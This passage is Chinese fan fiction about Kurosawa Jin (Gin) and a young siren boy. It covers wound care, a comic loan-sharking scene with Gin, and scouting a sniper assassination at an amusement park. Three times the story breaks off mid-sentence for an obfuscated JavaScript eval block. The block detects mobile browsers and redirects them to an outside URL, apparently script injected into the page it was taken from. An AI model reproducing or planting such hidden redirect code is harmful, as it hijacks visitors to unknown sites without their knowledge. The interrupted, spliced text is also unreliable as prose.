“那就麻烦把这里收拾一下,我先给他上药,一会再做饭。” 黑泽阵摸出医药箱,把尾巴领到另外一间卧室,解开睡衣给他涂药。 情况和他预想的差不多,没有破皮的部分,涂上药油之后用力揉开就可以,右手肘和被猫抓伤的部分要涂碘伏消毒。 猫之前打过三联和狂犬疫苗,近几个月没有野外出逃经历的话,不具备携带并传播狂犬病病毒的条件,所以飞鸟彻羽不用再打疫苗,只需要伤口消毒就可以了。 即使是黑泽阵之前有丰富的伤口处理经验,伤口处理起来也还是很难避免的刺激,更别说想要揉开淤血手上没有力气是不可能的,飞鸟彻羽受不住力气,控制不住地往他怀里躲。 一次两次被抓住后颈或者翅膀拖出来,次数多了黑泽阵也就懒得折腾,干脆由着他去。 看着飞鸟彻羽换了新的睡衣,站在小板凳上面慢吞吞地给自己刷牙,黑泽阵在外面一天虽然说不上是摸爬滚打,但也没体面到哪里去,干脆就趁这个时间去洗了个澡。 出来的时候就看见金酒拿着那只,被掏空了棉花,只剩下一层皮的熊在逗小孩,嘴里发出“嘬嘬嘬”的弹舌音。 这种状态下的香槟脑子实在不太好用,被惹烦了也不吭声,只知道闷着头跑,但是跑也跑不快,被某个心理年龄不知道有没有到三岁的大人踩着影子,撵在后面追。 黑泽阵:…… “弱智”属于工伤吗? 飞鸟彻羽眼见着救星出现了,默不作声地又绕回到黑泽阵身后,假装自己是鸵鸟一样,又开始藏在他身后装死。 男人嘻嘻一笑岔开话题,企图把这事赖过去:“猫的左前腿骨裂,耳朵被他咬开了一个豁口,我给包扎好了——话说你们给它起了什么名字?” 总不能就叫猫吧? “没名字。” 反正平时也没出现过需要叫它的情况。 猫咪,尤其是有流浪经历的猫,会有非常严格的领地意识和地位分别,而塞壬在这一点上更是有过之而无不及,甚至会跃跃欲试地将胆敢进犯自己领地的入侵者撕开喉咙。 平时自己在家的时候,猫藏在任何角落里面,尽可能的降低自己的存在感,只有在没有人注意的间隙,才会偷偷去吃一点猫粮。 这么一搞,等飞鸟彻羽回过神来肯定又要闹脾气,猫是不能再在这里待下去了:“你一会走的时候把猫也一起带走?” “行,”金酒一口应了下来,反正也不过是一只猫而已,自己没时间丢给别人领养,或者给点钱送到宠物店寄养都没所谓,“那个破玩具我也一起带走?” “不用,我一会给他补好就行。” 黑泽阵拉开冰箱,果不其然,自己做好的饭一点没动,面包和牛奶更是连包装都没拆,少年挑出不适合过夜的那部分,秉承着“不能浪费粮食”,为了健康着想也“不能吃不新鲜食物”的原则,准备做给金酒解决。 出乎金酒的意料,黑泽阵的厨艺又好又利落,很快就备齐了足够三人份的晚饭。 大概是因为有外人在的缘故,飞鸟彻羽这次拒绝自己坐,坚持要和黑泽阵挤一张椅子。 和应激状态的飞鸟彻羽讲不了道理,反正椅子也很宽敞,黑泽阵干脆就由他去,一面听着金酒给自己之前的行动表现做复盘指导,一面余光瞥见他的小碗里面没有菜了的时候,顺手给他弄一点菜。 ——不然他现在只知道吃自己碗里面的。 “……你预计什么时候接他走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑泽阵发觉了男人盯着自己的古怪神情,有种说不上来的恶心,那种表情应该怎么形容呢? ——我要吐了。 ……煞风景的狼崽子。 “记得今天写任务报告。” 金酒霸占了另一间一看就没人住的卧室,开始处理繁重的工作。 精神紧绷之后又放松下来之后,飞鸟彻羽又开始有点犯困了,头一点一点的,不一会就缩在黑泽阵身边,伴着噼里啪啦敲键盘的声音,沉沉睡过去。 * 黑泽阵觉得有必要教飞鸟彻羽一点基本的体术防身。 总好过下次再被一只猫弄得那么狼狈。 ——然后就发现飞鸟彻羽是一根冥顽不灵的朽木。 在他第三次以一种黑泽阵原地发疯都想象不出来的姿势把自己绊倒,被黑泽阵三次眼疾手快抓住后衣领子提起来避免趴在地上之后,少年终于承认了这个残酷的事实。 “你会干什么?” 说不上来是嫌弃多一点还是恨铁不成钢多一点,黑泽阵食指和中指并拢,一下一下地伸手去戳他的脑门。 飞鸟彻羽刚开始想躲,后来发现反正也躲不开之后干脆放弃挣扎,开始给自己找借口:“我在……想啊——我在思考。” “你想什么?”黑泽阵手上不停,像是在戳什么毛绒小玩具,不倒翁之类的,戳一下叫一声。 “我在考虑应该怎么应对。” “哦,”黑泽阵冷嗤一声,“所以思考的结果是什么?” 还没想好。 飞鸟彻羽眨眨眼睛,抓住了他的手,把手心摊开放在自己的头顶上,蹭蹭。 黑泽阵垂下眼睛看他,得了小孩一个讨好的笑脸。 ……算了。 黑泽阵决定放过他,也放过自己。 反正飞鸟彻羽就是一个板上钉钉的废物,烂泥扶不上墙的傻瓜,再怎么勉强一个废物也没什么意义。 要是强迫真的能改变资质,那监狱里面人人都是爱因斯坦了。 黑泽阵手上用力,把飞鸟彻羽揉的东倒西歪:“考虑的结果就是,以后遇见麻烦知道赶快跑就行。” 从今天晚上开始,体能训练再多加一组吧。 ……这种废物,就算是跑也跑不快的吧? “算了,”黑泽阵细想了一下,感觉他实在是指望不上,遂再次放低要求,“遇见危险记得投降就行——敢乱跑就打断你的腿。” 把“狙击”也加入训练日程吧。 飞鸟彻羽有点纠结,可是严格意义上来说,我也没有腿啊? “听见了没有?” 黑泽阵又开始揉他的头,好像是想要把里面的水给摇出去,虽然飞鸟彻羽自己感觉,可能自己的脑浆要先被摇匀了。 小孩一边尽可能的浮夸,把几个简简单单的音节讲的九曲十八弯,生怕别人不知道自己长了一副好嗓子,一边还小声抱怨着,夹带私货,当面控诉家长的唠唠叨叨:“哦~~~~哦——哦……记住了记住了,阿阵好啰嗦哦……哈哈哈。” 在事态进一步恶化成家暴之前,赖在这里蹭吃蹭喝的男人站出来,制止了这场纷争:“虽然很抱歉打扰你们,但我们现在应该走了?” 飞鸟彻羽一见他就立马没了好脸色,三两步跑到黑泽阵身后,探出脑袋对着他哈气——不用想也知道是跟谁学的。 黑泽阵伸出手指点在他的上颚,立马治好了他的恶疾:“我不能跟着,你和他去一趟,我在家里等着你回来。” 飞鸟彻羽仰起脸来,男人很无奈地耸肩。 既然离开了训练营,黑泽阵作为组织的外围短时间内是没有可能得知组织实验室的位置了。 那好吧,主要是闹也没什么用。 飞鸟彻羽点点头,跟着上了早就停在门口的车。 63.囚鸟 黑泽阵再见到飞鸟彻羽的时候又是几个月之后了。 彼时他正坐在轮椅上,被组织的监视陪着,周边人已经换了短袖,飞鸟彻羽还是从头裹到脚,坐在空荡荡的轮椅上,看着广场悠闲踱步的鸽子,时不时地撒下一把炒米。 长着白色羽毛的蠢物瞪着一双双绯红色的眼睛,白花花的像是堆满了白色塑料袋的垃圾山,漫无目的的对每一个经过的行人“评头论足”,然后被飞鸟彻羽手里面的食物吸引,在轮椅面前裙摆一样的展开,对着最前面的塞壬不住地磕头。 一朵乌云俯冲下来,率先对着猎物发起了冲锋,其他的乌鸦也紧跟其上,不一会就制伏了那只胖到几乎飞不起来的蠢鸽子,扒开外面的羽毛准备饱餐一顿。 乌鸦的智力水平可以媲美5-7岁的人类小孩,拥有高功能的社会化行为,会一定程度上使用工具,并且作为杂食动物,会结群捕食小型鸟类或者老鼠之类的小动物果腹。 面前一片羽毛纷飞,实在狼狈,金酒推着飞鸟彻羽的轮椅将他挪远了一些。 广场上面的鸽子为了防止飞远,会有专门的工作人员负责剪羽,拖把只好从尚且完好的尾羽中挑出羽毛中最好看的一根,用喙夹起,扑闪到飞鸟彻羽面前,送给他作为纪念品。 “……不要。” 鸽子的身上会携带大量的细菌,在城市治理工作者眼中被称为“长着翅膀的老鼠”。 拖把被拒绝了也不难过,扑扇着翅膀把羽毛插在站在一旁的金酒的帽子上,然后站在男人的肩膀上,假装自己是一只稳重成熟的鸟。 飞鸟彻羽扭过脸去,对着金酒说了什么,从黑泽阵的这个角度,透过中间时不时遮挡视线的行人,正好可以读他的唇语: “你要喂鸽子吗?” 男人不知道讲了什么,但是想也知道肯定是答应了之类的话。 “给钱,”飞鸟彻羽伸出一只手,手心在他面前摊开朝上,“一共5724。” ……还有零有整的。 金酒大概是纠结了一下,最后估计是在“绝不上当做冤大头”和“花点钱消灾算了”之间选择了后者——一看就是这段时间被飞鸟彻羽折腾的不轻。 送胸口的钱夹里面抽出一沓钱,数了又数,最后把全部的现金都递在了他的手里,换来了剩下的半袋炒米。 金酒从里面抓出一把撒在地上,不长记性的傻鸽子于是又围了上来,像是什么都没发生过一样,把刚刚死去的同伴抛掷脑后,换了个地方重新又找了一个皇帝。 少年紧了紧背上装着狙击枪的吉他包,不着痕迹地从人群中穿过,朝着两人的方向移动……却被一个身穿警服大腹便便的中年男人大声喝止: “你!干什么的?!” 并不是对着黑泽阵去的,而是拎着一袋炒米喂鸽子的金酒。 “你在干什么?” 金酒指了指自己的鼻子,在对方确认的目光下开口:“喂鸽子?” 怎么了?我又没干什么作奸犯科的事,香槟也没干什么引起别人误会的事情吧? 黑泽阵像是一个黑色的幽灵一样,无声无息地游到轮椅边上,牵住飞鸟彻羽的一缕头发。 “阵阵,有没有想我?” ……聒噪。 飞鸟彻羽今天穿了一件高领的外套,将他的整个脖子还有下半张脸都围起来,只露出一双眼睛。于是小孩就在衣领的遮挡下,折过耳羽去蹭黑泽阵的手指,就当是在打招呼。 “这里不允许喂鸽子——罚款200!” 金酒这些年丧良心的事也没少干,但像今天这么冤枉的……反正他一时半会是想不起来第二件了。 毕竟是身份经不起深究,这种时候和警察起冲突可没好处。 大冤种下意识地想伸手去摸自己的钱夹——钱都给塞给香槟了。 “……刷卡行不行?” 你这么大个人了,身上连二百都没有? 警察先生上下打量了他一眼,神情有些古怪:“我现在执勤,不方便。” 金酒只好灰溜溜地转过身去,企图寻求场外援助。 黑泽阵给了他一个爱莫能助的眼神,睁眼说瞎话: “钱夹在包里。” 当着警察的面打开装着狙击枪的包拉链,说没有恶意都没人信的吧? 虽然一个巡警不算什么,别说金酒和黑泽阵了,连坐在轮椅上的飞鸟彻羽都可以轻易脱身,但是挑衅警察这种事根本没有好处,能避免还是避免为好。 于是可怜的金酒只好向着惨无人道的黑恶势力低头了:“给我点钱。” 飞鸟彻羽想了想,歪歪头:“你想要多少呢?” “500!” 200交罚款,剩下的买包烟,金酒觉得只有这样才能勉强抚平自己心中郁气。 再说了,本来就是我的钱,凭什么不能要回来? “可以,”飞鸟彻羽点点头,伸出五根手指推到他面前,“但是你打算什么时候还呢?” ……这就是我的钱,我凭什么要还? “现在借500的话,过一个小时就要还我1000块,然后依此类推,再过一个小时就要还我2000块……阵阵现在几点了?” 黑泽阵从风衣的口袋里面推开钱夹,摸出自己的手机看了一眼时间:“13:18。” “就是这样,不足一个小时要按一个小时来算,所以要记得尽早还钱,不然利滚利下来,说不定就真的要去睡大街了哦。” 跟谁学的? 这么小的年纪,就学会钱生钱放高利贷了。 金酒让他气笑了:“你怎么不去抢?” “我这不是正在抢吗?”飞鸟彻羽不以为耻反以为荣,理不直气也壮,“我们又没有什么交情,凭什么白借给你呢?” “不想借的话,去找别人好啦,或者你领了罚单之后去取钱,然后到警局交罚款也可以?” “这么一想我已经很好吧——我都不要你的抵押物呢。” 犯罪分子因为手头没钱的缘故去警局补交罚款……金酒自己都觉得自己可疑。 他真不差这一点钱,但是被这么算计了是个人都会心里窝火。 “好啊,我借。” 又不是借不起。 “好哦,”飞鸟彻羽对“金主”的态度一向非常良好,认真从手里的一沓钱里面数出来五百,双手递给到他面前,“欢迎下次惠顾哦~” 金酒:…… 男人感觉和小孩生气没什么意思,第一千零一次在心里默念: 我现在是穷凶极恶的犯罪分子,香槟是被组织残害的受害人,他对犯罪分子没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到最后啰里吧嗦了一大堆才讲到重点:“反正我不要他们碰我,但是也不要自己走,尾巴走路久了好痛,所以就只好坐轮椅了。” “娇气。” 少年背着琴包不方便,所以就将他抱起来,调整了一下姿势,叫他坐在自己的手臂上,飞鸟彻羽顺势搂住他的脖子,眼见着去取钱回来的男人大步流星地把钱塞到自己手里。 “数数。” 金酒真是怕了他了,现在只想黑泽阵赶快把他领走,等自己找到一点头绪了之后再重整旗鼓。 ……之前怎么没发现带孩子是件这么折磨的事情。 这么一对比,自己的两个儿子简直就是乖巧的天使,玛丽更是伟大的女神。 但是飞鸟彻羽是不会让他这么好过的。 小孩摸出黑泽阵口袋里面的手机,摁开屏保:“少了。” “现在是13:50,按照我们之前讲好的,不满一个小时要按一个小时算,就应该是1500块——1000块的利息,还有500的本金——这里只有1000块欸,赖账唔……” 话没说完,被黑泽阵的捏脸打断了。 少年在被害人崇敬的目光中,把那个白色污染一样的麻烦一起打包带走,拯救了差点深陷高利贷漩涡的失足中年:“我先带他走了,一会还有个任务。” 64.囚鸟 黑泽阵把小孩放在便利店门口,很有耐心地等着他挑中一罐装在透明塑料罐里面,外表也做成小熊样式的水果软糖。 光亮如绸的发丝被微风吹拂,再被帽子轻轻压住。 因为之前答应了只给飞鸟彻羽自己剪头发,所以几个月没有剪过之后现在留的有些长了,又直又顺还光泽水亮的银发堪堪齐着锁骨,像是吃好喝好的银色大猫,背着油光水滑的皮毛。 小孩站在收银台前,努力扒住桌沿,踮起脚把自己刚刚的诈骗所得数出几张递付款,把剩下的钱、糖果罐还有顺手买的黑色皮筋递给黑泽阵。 然后抽出刚买的湿巾擦手。 ……就知道。 少年手上微微用力,扭下了小熊的头,把糖果罐递回去,摘下帽子随手扣在飞鸟彻羽头上,用手指梳顺,给自己在脑后扎了一个小啾啾,把娇气到不愿意自己走路的小孩单手抱起来: “他们饿着你了吗?” 飞鸟彻羽嘴里塞了各种五颜六色的小熊软糖,含糊的应声道:“……无有。” 虽然里面的软糖都是工厂作业的产物,一个模子里面做出来的,但还是会有细微的差别,飞鸟彻羽从里面挑了一个最“标志”的,喂到黑泽阵嘴里。 “但是骗他很好玩啊。” 这个“他”指谁不言而喻。 看得出来飞鸟彻羽是真的心情很好,一边坐在他的手臂上轻轻荡小腿,一边顶着黑泽阵的帽子摇头晃脑的唱小曲。 “我的熊呢?” “在家。” 那只玩具熊在惨遭开膛破肚之后,在黑泽阵的拯救之下被缝上了一条拉链,填进了当初塞枕头剩下的羽毛,现在拉上拉链和先前也没什么大的区别。 但是现在好像不是要回家的样子? 黑泽阵找到自己停在路边的小轿车,把飞鸟彻羽塞进后座,琴包放在副驾驶上,开始理直气壮地持假证驾驶。 ——人都杀了,还管什么无证驾驶/办理假证? 飞鸟彻羽环住副驾驶的“脖子”,伸手去摸琴包的背带,趴在副驾驶的肩膀上,闷声闷气道:“我们去哪?” “去杀人。” 飞鸟彻羽露出自己亮晶晶的眼睛,从后视镜里面和他对视:“好耶!” 黑泽阵:……合理怀疑他跟着干什么都高兴。 * 这次任务黑泽阵选择了狙杀的方式,任务目标今晚会在这家餐厅参加聚会,对面就是一座游乐场。 现在要先踩点。 正值放假,游乐场人满为患,周边牵着小孩子的家庭也有不少,黑泽阵事先要求后勤人员(用假证)弄了两张全天票,把琴包丢在车里,只带贴身的手枪和匕首,抱着一个孩子,完美融入周围的环境。 飞鸟彻羽从来没有来过这种地方,现在看什么都新鲜,拿着带有卡通图标的地图翻来覆去地研究:“哥哥,我们先去哪啊?” ……一银一白的头发,看起来还真的很像那么回事。 原定的行动时间是晚上九点,现在还有……差不多六个小时,时间相当宽裕。 “去坐云霄飞车。” 飞鸟彻羽正捧着黑泽阵刚给他(也可能是用剩下的赃款)买的可丽饼,小口小口啃得起劲。发现他在看自己,就转到自己没咬过的那一边,眼巴巴地看着他,嘴角蹭了一小团绿色的奶油。 给你吃,抹茶布丁还有红豆味的。 黑泽阵于是就着他的手咬了一口。 甜味不重,有种抹茶特有的苦味——是飞鸟彻羽正正好喜欢的那种。 少年从风衣口袋里面摸出之前没用完的湿巾塞给他,接过地图默默调转了方向。 还是去坐摩天轮吧,反正都没有区别。 后勤组安排的是速通票,所以没怎么排队就轮到了他们。 工作人员在下面站着准备搭一把手……黑泽阵长腿一迈就垮了上去,舱门缓缓闭合,把外面嘈杂的声音隔离在外。 飞鸟彻羽之前没来过这种地方,也完全没有坐过这种,实在是很新鲜,双手扒在透明的玻璃门上,额头抵在玻璃门上往下看。 随着舱体缓缓上升的时候,原本雄伟的地方就会随着距离的拉远越来越小,直到被缩成小小的一个点。 从这个地方看过去,排队的里面有好多的秃头…… 阿阵以后不会也要秃头了吧?! 这么一想,真的有可能欸。 阿阵的爸爸是斯拉夫人种,妈妈也是斯拉夫人种——那他就是纯粹的斯拉夫人种了! 斯拉夫人花期很短的,一旦结婚生小孩之后就会开始迅速地衰老,能在中年保持颜值的,尤其是男人,简直就像是中了基因彩票。 将心比心一下,要是自己以后变得秃头秃翅膀秃尾巴还有大肚子…… 一想到这种令人惊恐的可能,飞鸟彻羽吓得耳羽都不自然地僵住了,连忙扭过头去看某个一直默不作声,“未来一片光亮”的家伙。 坐在摩天轮另一边的黑泽阵,照样是穿着他那一身标志性的黑风衣,腰间被腰带掐起,领口竖起来挡住小半张脸,就像是在花店每一支都精心挑选,然后包装仔细的花束一样。 黑泽阵正在观察地形。 距离、角度、可能导致失败的因素、还有撤退的路线…… 一双皮手套捏着被塞壬吃了小半就失去了兴趣的可丽饼,慢条斯理地吃完。 塞壬不是长情的物种,贪得无厌野心磅礴,偏偏到手了也不肯珍惜,在手心里面还没捂热就失去了兴趣,然后重新燃起斗志,再去寻找自己喜欢的新鲜玩意。 潮起潮落不会为任何一个人的意愿而偏移,真心是不值得珍惜的破烂玩意。 ……也许本来她们是,只是飞鸟彻羽不是。 ——种族中的最后一个就是有这点不好,因为所有可能证伪的例子都溺毙在了时间的长河中,所以只好自己担负起一个种族的刻板印象。 在心里确定好了今晚的行动计划,黑泽阵摸出手机开始打字传递安排任务……就感受到飞鸟彻羽爬上自己这一排的座椅,蛮横地圈住自己的腰不肯撒手。 黑泽阵空出一只手伸下去,摸摸小孩的后脑勺和僵硬的耳羽,隔着手套有点不太舒服,飞鸟彻羽往他怀里缩了缩。 ……又不高兴了。 塞壬的心情变化简直要比海上阴晴莫测的天气还要难猜。 飞鸟彻羽一直听着他手上的声音终于停了下来,以一声短促的摁键结尾,就知道他是忙完了,最后那一声是“发送键”。 “……你洗头的时候会用护发精油之类的东西吗?” 黑泽阵大概明白他这次是为什么了:“不用。” “那护发素这种呢?” “也不用。” “撒谎,”飞鸟彻羽仗着他现在看不见自己的脸,瘪瘪嘴表示不信,“明明发质看起来很好,肯定是偷偷抹的。” “谁像你一样,每次都是瓶瓶罐罐那么多东西?” 好吧,飞鸟彻羽其实也知道他大概讲得就是真的,主要是这种事阿阵也没有骗他的必要。之前完全没有注意,但是现在想来,好像确实是只有很简单的两种味道:沐浴露+洗发水。 还有一点点吹风机的味道。 想明白这件事之后塞壬开始小小的放下了一半的心,既然之前不用,那就算是天赋异禀了?应该之后也可以保持的很好? 应该吧? “……那你之后也用行不行?” 万一现在天赋异禀,老了之后也秃了呢? “你到底想干什么?” 黑泽阵有时候真挺嫌弃飞鸟彻羽动不动就神神叨叨的,思路跳脱的有时候会叫人怀疑他是不是有什么间歇性发作的精神病,毕竟精神病的一个很重要的确认标准就是是否能形成流畅的有逻辑的思考。 ……可以用衡量人类的标准来考核塞壬吗? “我担心你啊!” 小孩听到这话猛然抬头,帽子有点大了,被震得滑下来一节,遮住他的眼睛压在翘挺的鼻梁上,黑泽阵现在就在和自己的帽子讲话。 “万一你老了变成那种又秃又颓又皱又胖的丑癞蛤蟆怎么办?” 每天出门都顶着一张丑脸,光是想想这种恐怖的日子,爱漂亮的小鸟几乎都感觉自己要昏厥过去了。 本来没有漂亮的羽毛和鳞片就已经很难过了,要是…… “用不着。” 黑泽阵冷嗤一声,觉得他在多此一举,明明自己的未来几乎是一眼就可以望到头,无非是两种: 要么是在任务失败的时候被当场击毙,要么就是在任务失败的时候被俘。 少年伸手拿起自己的帽子,改为戴在自己的头上,和那双亮晶晶的鸳鸯眼对上视线,凛冽的碧眼像是尖锐的长矛,直直的刺破了他眼中不切实际的幻想。 “杀手活不到那个时候。” 小孩听完这句话之后,眨眨眼睛开始生气,于是肉眼可见的,脸颊的软肉鼓起来,像是池塘里鼓起腮帮子“咕咕呱呱”的小青蛙。 然后被讨厌的家伙毫不留情地伸手捏扁了。 飞鸟彻羽:更生气了。 ……总是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262247|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子。 阿阵就爱讲这种讨厌的话。 于是来自飞鸟彻羽单方面的冷战就开始了,把脸埋在对方身上,不吭声也不肯撒手,黑泽阵乐得清静,指尖在手机屏幕上敲敲打打,开始确认今晚的任务流程,一直到摩天轮转到最下面,都没人讲话。 黑泽阵站起身来,飞鸟彻羽也跟着站起来,但是依然不肯撒手。 “……起来。” 摩天轮的舱门和下面的台子中间有一条不远不近的缝隙,对于现在基本是成年身高的黑泽阵来说不算什么,但是对于现在身高实在有点滑稽的飞鸟彻羽来讲,要是任由他自己这样埋着头瞎走,估计最后的结果就是从那个缝里面掉下去,然后摔在下面的草坪上。 虽然这个高度摔一下也没什么大事,但是一想到摔下去还得自己给他洗……黑泽阵觉得还是提醒他一下比较好。 飞鸟彻羽装聋。 黑泽阵默默叹气,伸手抓住他的后衣领子,像拎一袋葱一样,把现在还在生闷气的小孩提了出来。 那不然怎么办呢?总不能真的让他掉下去吧? 周边的家长早就习惯了各种硬核教育,看着这两个相似的发色,那个被提在手里的小的也没怎么挣扎,也没觉得这样有什么不对。 ——估计是兄弟俩在上面的时候吵架了。 黑泽阵走下台子,把飞鸟彻羽放在地上,往前走了两步,结果发现他没跟上来。 杵在原地垂着眼睛,不知道在想什么东西。 行吧。 黑泽阵只好又折回去,在他面前蹲下:“上来。” 飞鸟彻羽纠结了片刻,最后还是上前两步,趴在他的背上搂住脖子,黑泽阵托住他的腿,就把他背了起来。 前面不远处又有一个摊松饼的摊子。 “吃松饼吗?” 虽然刚刚才买了一个,但是至少是有四分之三是被自己吃掉了,这种场所的小吃又贵又小,所以应该还能吃下两个。 飞鸟彻羽不吭声。 ……还是买一个吧。 黑泽阵背着他在队尾排好。 队伍不长,摊主也很利落,很快就排到了他们。 同样是抹茶味的,被装在纸盒里面,被黑泽阵一手提着,找了旁边的空位置,放在桌子上。 把装聋作哑的小孩也安置在旁边的椅子上。 两人面对面坐在桌子两边,气氛严肃地不像是在游乐园,反而像是在审讯室。 很多时候,黑泽阵都很难理解他心里那些弯弯绕绕。 他本来就不是多愁善感的性格,偏偏眼前的飞鸟彻羽不论是性格还是脑回路,甚至是生理结构都是常人难以理解的古怪。 黑泽阵并不热络,大多数时候情绪稳定的堪比停尸房里面死人的心电图,而飞鸟彻羽外热内冷,一旦他不愿意碎碎叨叨的找话题,就会像是现在这样冷场。 “有空的时候用行了吧?” 要是任务忙起来的时候,能抽空眯一会就不错了。 阿阵是个笨蛋。 不过这段时间已经足够飞鸟彻羽把自己哄好了。 “阵阵……?” “干什么?” 飞鸟彻羽一边搅着自己的手指,一边抬起眼睛,很认真地看着他。塞壬的眼睛又透又圆,被他看着的时候,对面的人可以很清晰地看到他眼球上自己扭曲的倒影。 “我能活很久的,你知道的吧?” “如果是在自然环境下,我会活得比你所有认识的人加起来都要久——不会衰老,更不会自然死亡,大概会在差不多成年的时候生长停滞,然后接下来的几年、几十年甚至上百年都会维持这种状态。” “塞壬这个种族除了我以外,可能已经都死掉了——至少据我所知是这样。” “其他的长生种族大概是在七百年之前,文艺复兴的时期算起,就开始陆陆续续的灭绝了,也许接下来的后半辈子都不会再遇见一个。” “如果幸运的话,我可能会死于一场实验失败,或者更激进的研究,在正常应该死去的时候死去。” “如果没那么幸运,可能会活几个世纪那么久,以现在这个世界遗产的身份。” 塞壬是传说中的种族。 祂们隐居在神秘的海洋角落,每一个都拥有着美艳的容颜,绮丽的身形还有神赐的喉咙,引诱着无数迷途的旅人们趋之若鹜。 赐予他们一场如真似幻的美梦之后,再蛊惑他们自愿挖出自己的心脏: “你死掉的话,我会很难过的。” 所以还是活得久一点吧? 65.囚鸟 就像是鸟天生就会飞,鱼天生就会游——“诱惑人类”就像是写在塞壬的种族特性里,随着每一滴血液的奔淌,涌向身体的每一个角落。 偏偏黑泽阵就是不上钩,发出“啧”的一声弹舌音。 “……我要吐了。” 末了,还嫌这样不够似的,伸手去捏飞鸟彻羽的脸,在小孩软糯的脸颊上留下一个殷红的指印子。 太过分了! 太过分了! 太过分了! 飞鸟彻羽简直不敢置信! 怎么会有这样的人,明明自己先招讨厌的,先要别人让步低头不说,现在还要倒打一耙,甚至得寸进尺,嫌弃别人恶心还实施暴力行为! “我要!我要……我要……我要……”飞鸟彻羽“我要”了半天,没理出个所以然来,最后只好睁眼说瞎话,“我要起诉你!” 黑泽阵才不吃他那一套呢,冷嗤一声,像是在嘲笑他又在胡说八道。 把纸盒往他面前推了推,刚刚出锅的松饼,现在的温度正好入口:“吃你的。” 飞鸟彻羽能怎么办呢?还不是只好拿起叉子乖乖听话? 差七岁是这样子的,黑泽阵已经可以完美地融入到各种严苛的任务里面,起到中流砥柱的作用的时候,飞鸟彻羽还只能围着他的腿打转呢。 被讨厌的家伙无情镇压了之后,小孩几口吃完了眼前的松饼,把剩下的纸盒丢进身边的垃圾桶。 “我们接下来去干什么?” “不长情”也不是完全没有好处,就比如说现在:一个松饼的功夫,就把刚刚自己还在生气的事情忘在脑后了。 ——脾气不好,但是意外的很好哄……不哄也能好。 “你想去干什么?” 飞鸟彻羽当然早有主意,把手里的卡通地图抖得咔咔响,指着角落里面阴森森的骷髅头图标:“我们去鬼屋吧?” 说不定鬼屋里面真的有鬼呢? 黑泽阵摸出手机看下时间,还很宽裕,迎着他那双亮晶晶的眼睛,默默把冷嘲热讽的话咽了下去: “……行。” * “拿着这个手环,如果在过程中随时想要终止,摁下按钮在原地等待,工作人员会立即出发,从最近的安全通道带领撤离。” 黑泽阵接过两只手环,大略观察了一下,有些不爽地分别扣在了自己和飞鸟彻羽的手腕上。 ……带定位的。 不过好在是那种平时不会实时播报位置,之后在摁下去的那一瞬间才会报点的类型,所以勉强还算可以接受。 工作人员带着厚重的口罩和帽子,细细叮嘱着一条一条注意事项后,放开了鬼屋的大门。 “鬼屋内部地形复杂,不同的选择会通向不同的出口,所以也有可能会有遇上其他游客的可能……” 飞鸟彻羽拿着那张被故意设计的阴森又血腥的残缺地图,翻来覆去地研究了一下,得出结论:没什么用。 只有最开始的一小段路,后面的都是“欢迎探索”,所以根本起不到什么实际上的作用嘛。 这间鬼屋是选择的精神病院题材,两人推开最外面的大铁门,故意做旧的门轴发出巨大的“吱呀”呻吟。 工作人员的脸上,在口罩的掩护下,咧开一个夸张的笑脸,嘴角一直裂到耳朵。鬼屋的大门在他们身后缓缓合上,落锁,顶头的灯牌上,原本荧绿色的“欢迎光临”改成了猩红的“暂停营业”。 首先进入的大概是医生办公室,惨白的顶灯在上面一闪一闪的,做足了“年久失修、经费不足”的氛围。 黑泽阵从墙壁挂钩处找到了一排整整齐齐的白大褂,每一个都别着不同的“实习生吊牌”,正面贴着名字和模糊的照片,背面标注的是具体工作的地点。 黑泽阵不是很想穿这种不知道是有多少人穿过的情景服装——反正不管干不干净,飞鸟彻羽穿着肯定不合适,所以具体穿一件还是穿两件也没什么区别——只是从上面摘下来两个正好一起的牌子,一个别在自己风衣的扣子下面,另外一个夹在飞鸟彻羽兜帽上。 飞鸟彻羽现在正在和橱子里面的保险柜较劲,努力把深埋在里面的密码锁正过来,抽出时间看了一眼:“为什么是‘慢性康复女病科Ⅲ’?” “这里只有‘女病科’的牌子。” 估计是只要从这个门进入,就会被分在“女病区”。 黑泽阵在飞鸟彻羽旁边蹲下,仔细观察这个箱子:普通款式的密码箱,旋转输入密码的那种,写着密码的字条应该是在某个角落等待玩家去搜。 也许在这个房间,也有可能是在后面的情节才会揭晓。 不过现在有塞壬在这里,不用那么麻烦。 “过来。” 飞鸟彻羽乖乖听话,耳朵贴在锁旁边,遵从黑泽阵的指挥把密码盘转来转去,直到每一圈都在“特殊声音”的地方停下,锁舌轻声弹开。 里面是一份薄薄的文件,被订书针钉起来,几页纸的样子。 纸面上的字迹被凌乱的褐色手印遮盖,只留下寥寥几个清晰的单词,可以半阅读半推断念出它们的意思。 小孩凑过去,磕磕巴巴地对着念:“20年前……新汇款……失踪……死亡……废弃……” 被污渍站在一起的纸页有点难翻,飞鸟彻羽努力搓起边角,想要将黏糊糊的两张分开。 “20年前,这家精神病院接收了一笔新汇款之后,某病人失踪,在这任职的医生或者是高层管理被病人杀死,从此医院废弃……” 结合周遭环境中的蛛丝马迹,黑泽阵稍微推断一下就可以得出结论:“——器官买卖被披露之后导致的医院废弃,死的应该是院长或者其他高职务的管理,社会影响严重,不得不废弃这家医院。” 这和考试严苛但是提前发答案有什么区别? 飞鸟彻羽:……? 